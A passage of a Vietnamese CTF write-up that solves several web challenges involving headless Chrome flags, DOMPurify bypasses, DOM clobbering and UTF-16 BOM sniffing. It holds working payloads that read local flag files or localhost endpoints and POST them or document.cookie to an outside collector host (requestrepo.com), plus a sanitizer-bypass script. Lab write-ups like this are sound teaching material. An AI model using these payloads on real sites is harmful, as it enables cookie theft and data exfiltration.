--page-content-annotations-validation-page-entities --page-content-annotations-validation-startup-delay-seconds --page-content-annotations-validation-write-to-file --parent-window --passthrough --pdf-renderer --pdf_conversion --pen-devices --perf-test-print-uma-means --perfetto-disable-interning --performance --picker-feature-key --playready-key-system --policy --ppapi --ppapi-antialiased-text-enabled --ppapi-in-process --ppapi-plugin-launcher --ppapi-startup-dialog --ppapi-subpixel-rendering-setting --prediction-service-mock-likelihood --preinstalled-web-apps-dir --prevent-kiosk-autolaunch-for-testing --prevent-resizing-contents-for-testing --previous-app --printing-ppd-channel --print_backend --print_compositor --privacy-policy-host-for-tests --private-aggregation-developer-mode --privet-ipv6-only --process-per-site --process-per-tab --production --profile-base-name --profile-directory --profile-email --profile-management-attributes --profile-requires-policy --profiling-at-start --profiling-file --profiling-flush --protected-audiences-consented-debug-token --proxy-auto-detect --proxy-bypass-list --proxy-pac-url --proxy-server --proxy_resolver_win --pseudo --public-accounts-saml-acl-url --purge-model-and-features-store --purge-optimization-guide-store --pwa-launcher-version --qs-add-fake-bluetooth-devices --qs-add-fake-cast-devices --qs-show-locale-tile --query-tiles-enable-trending --query-tiles-instant-background-task --query-tiles-rank-tiles --query-tiles-single-tier --quota-change-event-interval --raise-timer-frequency --rdp_desktop_session --reader-mode-feedback --reader-mode-heuristics --realtime-reporting-url --redirect-libassistant-logging --reduce-user-agent-minor-version --reduce-user-agent-platform-oscpu --register-max-dark-suspend-delay --register-pepper-plugins --regulatory-label-dir --relauncher --remote-allow-origins --remote-debug-mode --remote-debugging-address --remote-debugging-io-pipes --remote-debugging-port --remote-debugging-socket-name --remote-debugging-targets --remote-reboot-command-timeout-in-seconds-for-testing --renderer --renderer-client-id --renderer-cmd-prefix --renderer-process-limit --renderer-sampling --renderer-wait-for-java-debugger --renderpass --report-vp9-as-an-unsupported-mime-type --request-desktop-sites --require-wlan --reset-browsing-instance-between-tests --reset-variation-state --restart --restore-key-on-lock-screen --restore-last-session --restrict-gamepad-access --reven-branding --rlz-ping-delay --rtl --run-all-compositor-stages-before-draw --run-web-tests --safe-mode --safebrowsing-enable-enhanced-protection --safebrowsing-manual-download-blacklist --saml-password-change-url --sandbox-ipc --save-page-as-mhtml --scheduled-reboot-grace-period-in-seconds-for-testing --scheduler-boost-urgent --scheduler-configuration --scheduler-configuration-default --screen-capture-audio-default-unchecked --screen-config --screen_ai --seal-key --search-engine-choice-country --search-provider-logo-url --secondary-display-layout --secure-connect-api-url --service --service-name --service-request-attachment-name --service-sandbox-type --service_with_jit --set-extension-throttle-test-params --setup --shader-cache-path --shared-array-buffer-unrestricted-access-allowed --shared-files --shelf-hotseat --shill-stub --short-merge-session-timeout-for-test --short-reporting-delay --show-aggregated-damage --show-autofill-signatures --show-autofill-type-predictions --show-component-extension-options --show-composited-layer-borders --show-dc-layer-debug-borders --show-icons --show-layer-animation-bounds --show-layout-shift-regions --show-login-dev-overlay --show-mac-overlay-borders --show-oobe-dev-overlay --show-oobe-quick-start-debugger --show-overdraw-feedback --show-paint-rects --show-property-changed-rects --show-screenspace-rects --show-surface-damage-rects --show-taps --signed-out-ntp-modules --simulate-browsing-data-lifetime --simulate-critical-update --simulate-elevated-recovery --simulate-idle-timeout --simulate-outdated --simulate-outdated-no-au --simulate-update-error-code --simulate-update-hresult --simulate-upgrade --single-process --site-per-process --skia-font-cache-limit-mb --skia-graphite-backend --skia-resource-cache-limit-mb --skip-force-online-signin-for-testing --skip-multidevice-screen --skip-reorder-nudge-show-threshold-duration --slow-down-compositing-scale-factor --slow-down-raster-scale-factor --sms-test-messages --source-shortcut --speech_recognition --ssl-key-log-file --ssl-version-max --ssl-version-min --stabilize-time-dependent-view-for-tests --stable-release-mode --staging --start-fullscreen --start-stack-profiler --start-stack-profiler-with-java-name-hashing --storage-pressure-notification-interval --stub --supports-clamshell-auto-rotation --suppress-message-center-popups --surface --swiftshader --swiftshader-webgl --sys-info-file-path --system-aec-enabled --system-developer-mode --system-font-family --system-gesture-start-height --system-gesture-start-width --system-log-upload-frequency --telemetry-extension-dir --test-child-process --test-encryption-migration-ui --test-gl-lib --test-memory-log-delay-in-minutes --test-name --test-third-party-cookie-phaseout --test-type --test-wallpaper-server --tether-host-scans-ignore-wired-connections --tether-stub --third-party-doodle-url --time-before-onboarding-survey-in-seconds-for-testing --time-ticks-at-unix-epoch --time-zone-for-testing --tint-composited-content --tint-composited-content-modulate --tls1.2 --tls1.3 --top-chrome-touch-ui --top-controls-hide-threshold --top-controls-show-threshold --touch-devices --touch-events --touch-selection-strategy --touch-slop-distance --touchscreen-usable-while-screen-off --touch_view --tpm-is-dynamic --trace-config-file --trace-smb-size --trace-startup --trace-startup-duration --trace-startup-enable-privacy-filtering --trace-startup-file --trace-startup-format --trace-startup-owner --trace-startup-record-mode --trace-to-file --trace-to-file-name --translate-ranker-model-url --translate-script-url --translate-security-origin --true --trusted-download-sources --try-supported-channel-layouts --tts --ui-disable-partial-swap --ui-disable-zero-copy --ui-enable-rgba-4444-textures --ui-enable-zero-copy --ui-show-composited-layer-borders --ui-show-fps-counter --ui-show-layer-animation-bounds --ui-show-paint-rects --ui-show-property-changed-rects --ui-show-screenspace-rects --ui-show-surface-damage-rects --ui-slow-animations --ui-toolkit --ukm-server-url --uma-insecure-server-url --uma-server-url --unfiltered-bluetooth-devices --uninstall --uninstall-app-id --unlimited-storage --unsafely-allow-protected-media-identifier-for-domain --unsafely-treat-insecure-origin-as-secure --use-adapter-luid --use-angle --use-cast-browser-pref-config --use-cmd-decoder --use-cras --use-fake-codec-for-peer-connection --use-fake-cras-audio-client-for-dbus --use-fake-device-for-media-stream --use-fake-mjpeg-decode-accelerator --use-fake-ui-for-fedcm --use-file-for-fake-audio-capture --use-file-for-fake-video-capture --use-first-display-as-internal --use-first-party-set --use-gl --use-gpu-high-thread-priority-for-perf-tests --use-gpu-in-tests --use-heap-profiling-proto-writer --use-legacy-metrics-service --use-mobile-user-agent --use-mock-cert-verifier-for-testing --use-mock-keychain --use-related-website-set --use-system-clipboard --use-system-default-printer --use-system-proxy-resolver --use-va-dev-keys --use-vulkan --use-wayland-explicit-grab --user-agent --user-agent-product --user-data-migrated --user-gesture-required --utility --utility-and-browser --utility-cmd-prefix --utility-sampling --utility-sub-type --v --v8-cache-options --validate-input-event-stream --validating --variations-insecure-server-url --variations-override-country --variations-seed-fetch-interval --variations-seed-version --variations-server-url --verbose-logging-in-nacl --video-capture-use-gpu-memory-buffer --video-image-texture-target --video-threads --video_capture --view-stack-traces --viz-demo-use-gpu --vmodule --vsync-interval --vulkan --vulkan-heap-memory-limit-mb --vulkan-sync-cpu-memory-limit-mb --wait-for-debugger-webui --wallet-service-use-sandbox --waveout-buffers --web-otp-backend --web-otp-backend-auto --web-otp-backend-sms-verification --web-otp-backend-user-consent --web-sql-access --web-ui-data-source-path-for-testing --webapk-server-url --webauthn-permit-enterprise-attestation --webauthn-remote-desktop-support --webauthn-remote-proxied-requests-allowed-additional-origin --webgl-antialiasing-mode --webgl-msaa-sample-count --webrtc-event-log-proactive-pruning-delta --webrtc-event-log-upload-delay-ms --webrtc-event-log-upload-no-suppression --webrtc-event-logging --webrtc-ip-handling-policy --webview-disable-app-recovery --webview-disable-safebrowsing-support --webview-draw-functor-uses-vulkan --webview-enable-app-recovery --webview-enable-modern-cookie-same-site --webview-enable-trust-tokens-component --webview-log-js-console-messages --webview-safebrowsing-block-all-resources --webview-sandboxed-renderer --webview-selective-image-inversion-darkening --webview-tpcd-metadata-component --webview-verbose-logging --win-jumplist-action --window-name --window-position --window-size --window-workspace --winhttp-proxy-resolver --wm-window-animations-disabled --xr_compositing --xsession_chooser --yuy2 --zygote
```
Trong đó có options đáng chú ý là `--allow-file-access-from-files`
https://stackoverflow.com/questions/18586921/how-to-launch-html-using-chrome-at-allow-file-access-from-files-mode
=> đọc được file local với mục tiêu là `/flag.txt`
### Exploit
Upload file html:
```html
<!DOCTYPE html>
<html lang="en">
<head>
<title>sol</title>
</head>
<body>
<script>
fetch('/flag.txt')
.then(response => response.text())
.then(data => {
fetch('http://n1gqw31n.requestrepo.com', {
method: 'POST',
body: data
});
});
</script>
</body>
</html>
```
Kết quả:

## Even more flags
Đây là bài 2 của bài trên, khác ở chỗ bài này nhập vào URL thay vì upload file:

Kiểm tra URL:
```javascript
if (parsed.protocol !== 'http:' && parsed.protocol !== 'https:') {
return res.status(400).send('Invalid URL');
}
```
Sau đó chạy câu lệnh
```javascript!
const command = `bash -c "google-chrome-stable --disable-gpu --headless=new --no-sandbox --no-first-run ${flags} ${url}"`;
```
Mục tiêu là truy cập vào `/flag`:
```javascript!
app.get('/flag', (req, res) => {
if (req.connection.remoteAddress === '::ffff:127.0.0.1' || req.connection.remoteAddress === "::1") return res.send(flag);
res.send(`Nope! Your IP (${req.connection.remoteAddress}) is not localhost!`);
})
```
### Exploit
Host file tương tự bài trên
```html
<!DOCTYPE html>
<html lang="en">
<head>
<title>sol</title>
</head>
<body>
<script>
fetch('http://127.0.0.1:1337/flag')
.then(response => response.text())
.then(data => {
fetch('https://n1gqw31n.requestrepo.com/', {
method: 'POST',
body: data
});
});
</script>
</body>
</html>
```

Kết quả:

## Refined Notes
Đây là chall XSS.
- Ứng dụng cho viết note có thể inject được HTML, tuy nhiên được xử lý qua Dompurify 3.1.4:
```html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Refined Note Taking App</title>
<link href="https://cdn.jsdelivr.net/npm/tailwindcss@2.2.19/dist/tailwind.min.css" rel="stylesheet">
<script src="https://cdn.jsdelivr.net/npm/dompurify@3.1.4/dist/purify.min.js"></script>
<script defer src="/static/index.js"></script>
</head>
<body class="bg-gray-100 p-4">
<div class="max-w-lg mx-auto">
<h1 class="text-2xl font-bold mb-4">Refined Note Taking App</h1>
<div id="container" class="mb-4 flex flex-col">
<iframe id="noteframe" class=" bg-white w-full px-3 py-2 border rounded-md h-60" srcdoc=""></iframe>
<textarea type="text" id="note" class="hidden w-full px-3 py-2 border rounded-md h-60" placeholder="Enter your note here"></textarea>
<button id="submit" class="hidden mt-2 px-4 py-2 bg-blue-500 text-white rounded-md">Add Note</button>
</div>
</div>
</body>
```
Xử lý:
```javascript
submit.addEventListener('click', (e) => {
const purified = DOMPurify.sanitize(note.value);
fetch("/", {
method: "POST",
body: purified
}).then(response => response.text()).then((id) => {
window.history.pushState({page: ''}, id, `/${id}`);
submit.classList.add('hidden');
note.classList.add('hidden');
noteframe.classList.remove('hidden');
noteframe.srcdoc = purified;
});
});
```
Tuy nhiên nội dung được đưa vào `srcdoc`:

=> XSS
Payload:
```
" onload="fetch('https://n1gqw31n.requestrepo.com'+document.cookie)
```
Kết quả:

**intended**
Sử dụng html encode tại srcdoc:
```
<img src=x:x onerror=alert(1)>
```
https://github.com/apostrophecms/sanitize-html/issues/217
## Flag remover
XSS tại đây
```javascript
app.post('/chal', (req, res) => {
let { flag, html } = req.body;
// don't xss
html = DOMPurify.sanitize(html);
// don't close/open the body tag
html = html.replace(/<body>|<\/body>/g, '');
res.setHeader("Content-Security-Policy", "default-src 'none'; script-src 'self';");
res.send(`
<head>
<script async defer src="/removeFlag.js"></script>
</head>
<body>
<div class="flag">${flag}</div>
${html}
</body>
`);
});
```
`html` được sẽ xóa `<body>` hoặc `</body>` sau khi xử lý qua Dompurify.
Khi render ra html thì `/removeFlag.js` cũng sẽ thực thi
```javascript
app.get('/removeFlag.js', (req, res) => {
res.type('.js');
res.send(`try {
let els = document.body.querySelectorAll('.flag');
if (els.length !== 1) throw "nope";
els[0].remove();
} catch(e) { location = 'https://duckduckgo.com/?q=no+cheating+allowed&iax=images&ia=images' }`);
});
```
Nó lấy ra tag có `class` là `flag`, nếu khác 1 giá trị thì `throw "nope"` còn không thì remove nó - tag chứ flag, vì vậy con bot đi qua cũng k capture lại được:
```javascript
app.post('/admin', async (req, res) => {
try {
const { solve } = req.body;
const browser = await puppeteer.launch({ executablePath: process.env.BROWSER, args: ['--no-sandbox'] });
// go to localhost:1337, type flag and html, click submit
const page = await browser.newPage();
await page.goto('http://localhost:1337/');
await page.type('input[name="flag"]', flag.trim());
await page.type('input[name="html"]', solve.trim());
await page.click('button[type="submit"]');
await new Promise(resolve => setTimeout(resolve, 5000));
// make sure js execution isn't blocked
await page.waitForFunction('true')
// take a screenshot
const screenshot = await page.screenshot({ encoding: 'base64' });
await browser.close();
res.send(`<img src="data:image/png;base64,${screenshot}" />`);
} catch(e) {console.error(e); res.send("internal error :( pls report to admins")}
});
```
Việc tìm cách để nhìn flag trước khi bị remove cũng khó vì nó đã bị timeout 5s trước khi load ra hết.
Mục tiêu vẫn là thực thi được đoạn script không đúng cách, Dom Clebbering là kỹ thuật được dùng => ghi đè: `document.body.querySelectorAll('.flag')`
Nhìn vào phía trên kia, lợi dụng việc Dompurify thực hiện sanitize trước khi replace tag `body` để bypass.
Payload:
```html
<form name="body<body>"><div class=flag></form>
```
tag `body` sẽ giúp bypass được việc check dompurify, tag `div` kia sẽ là tag bị remove thay vì tag flag thật.
Khi đó `document.body` trở thành:

Và `document.body.querySelectorAll('.flag')` sẽ lấy ra tag có class là `flag` trong form đó và chỉ có tag đó nên length là 1:

Kết quả là tag scipt thật không bị remove:

Giờ chỉ viếc lấy flag:

## Secure Notes
Source:
```javascript!
const DOMPurify = require('dompurify')(new (require('jsdom').JSDOM)('').window); // the only dependency!
require('fs').mkdirSync('notes', { recursive: true });
require('http').createServer((req, res) => { try {
if (req.url === "/") {
res.setHeader('Content-Type', 'text/html');
res.end(`<textarea id="content"></textarea><br><button onclick="location='/submit?'+encodeURIComponent(content.value)">Submit`)
} else if (req.url.startsWith("/submit")) {
const content = decodeURIComponent(req.url.split('submit?')[1]);
const id = require('crypto').randomBytes(16).toString('hex');
require('fs').writeFileSync(`notes/${id}.html`, DOMPurify.sanitize(content), "utf-16le");
res.setHeader("Location", `/notes/${id}`); res.statusCode = 302; res.end();
} else if (req.url.startsWith("/notes/")) {
const id = (req.url.split('/notes/')[1]).match(/^[a-f0-9]{32}$/);
res.setHeader('Content-Type', 'text/html; charset=utf-16le');
res.end(require('fs').readFileSync(`notes/${id}.html`));
} } catch(e) {console.log(e)}}).listen(1337);
```
Nhìn qua cũng biết liên quan đến `utf-16-le`, hiểu 1 cách đơn gian là do Dompurify và Chrome không thể xử lý an toàn được.
Script:
```python
# thx to https://stackoverflow.com/a/7103606 for pointing me in the right direction
# see https://html.spec.whatwg.org/multipage/parsing.html#determining-the-character-encoding point 1
# TLDR:
import requests
URL = "https://sweet-dreams-are-made-of-this--vula-7990.ctf.kitctf.de"
payload = "\ufeff<script>document.write(document.cookie)</script>"
be = payload.encode("utf-16-le")
swapped = b"".join(bytes([y, x]) for x, y in zip(be[::2], be[1::2]))
print(
swapped, swapped.decode("utf-16-le"), swapped.decode("utf-16-be")
) # the 2nd arg is what DOMPurify sees, the 3rd arg is what the browser sees
note = requests.post(url=URL+ "/submit?" + swapped.decode("utf-16-le"),).url
print(note)
```
BOM (Byte Order Mark) sniffing là một quá trình dùng để xác định mã hóa của một tài liệu văn bản dựa trên một dãy byte đặc biệt nằm ở đầu tài liệu. BOM giúp chỉ định thứ tự byte trong mã hóa ký tự, đặc biệt là trong các tài liệu Unicode. Dưới đây là chi tiết về BOM sniffing

